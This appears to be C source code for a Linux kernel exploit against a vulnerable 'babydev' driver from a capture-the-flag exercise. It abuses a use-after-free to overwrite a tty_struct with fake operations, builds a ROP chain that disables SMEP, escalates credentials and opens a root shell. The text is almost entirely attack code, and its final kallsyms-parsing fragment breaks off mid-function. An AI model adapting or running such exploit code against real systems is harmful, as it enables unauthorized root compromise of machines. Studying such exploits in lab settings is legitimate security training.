/* * Where all of the state associated with a tty is kept while the tty * is open. Since the termios state should be kept even if the tty * has been closed --- for things like the baud rate, etc --- it is * not stored here, but rather a pointer to the real state is stored * here. Possible the winsize structure should have the same * treatment, but (1) the default 80x24 is usually right and (2) it's * most often used by a windowing system, which will set the correct * size each time the window is created or resized anyway. * - TYT, 9/14/92 */
struct tty_operations;
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index;
int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
void get_usr_regs(); int get_kernel_addr(); void root(); void getshell();
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode size_t fake_tty_operations[0x20]; size_t fake_tty_struct[4]; size_t rop_chain[20]; size_t commit_creds; size_t prepare_kernel_cred;
int main(){ get_usr_regs(); get_kernel_addr();
int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
// change the babydev_struct.device_buf // the buf_size = sizeof(struct tty_struct) ioctl(fd1, 0x10001, 0x2e0);
// call babyrelease(), now we have a dangling pointer in fd2 close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); read(fd2, fake_tty_struct, 0x40); fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;; fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret // fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret fake_tty_operations[1] = (size_t)rop_chain; fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret fake_tty_operations[3] = (size_t)rop_chain; int i = 0; rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret rop_chain[i++] = 0x6f0; // SMEP = 0 rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret rop_chain[i++] = (size_t)rop_chain; rop_chain[i++] = (size_t)root; rop_chain[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop_chain[i++] = 0; rop_chain[i++] = 0xffffffff814e35ef; // iretq; ret; rop_chain[i++] = (size_t)getshell; rop_chain[i++] = usr_cs; /* saved CS */ rop_chain[i++] = usr_rflags; /* saved EFLAGS */ rop_chain[i++] = usr_rsp; rop_chain[i++] = usr_ss; write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct char buf[8] = {0}; write(fd_tty, buf, 8); // call tty_fops->write }
/* save some regs of user mode */ void get_usr_regs(){ __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" ); printf("[^.^] save regs of user mode, done !!!\n"); }
while(fgets(buf, 0x50, kallsyms)){ // fgets:read one line at one time if(strstr(buf, "prepare_kernel_cred")){ sscanf(buf, "%lx", &prepare_kernel_cred); printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred); }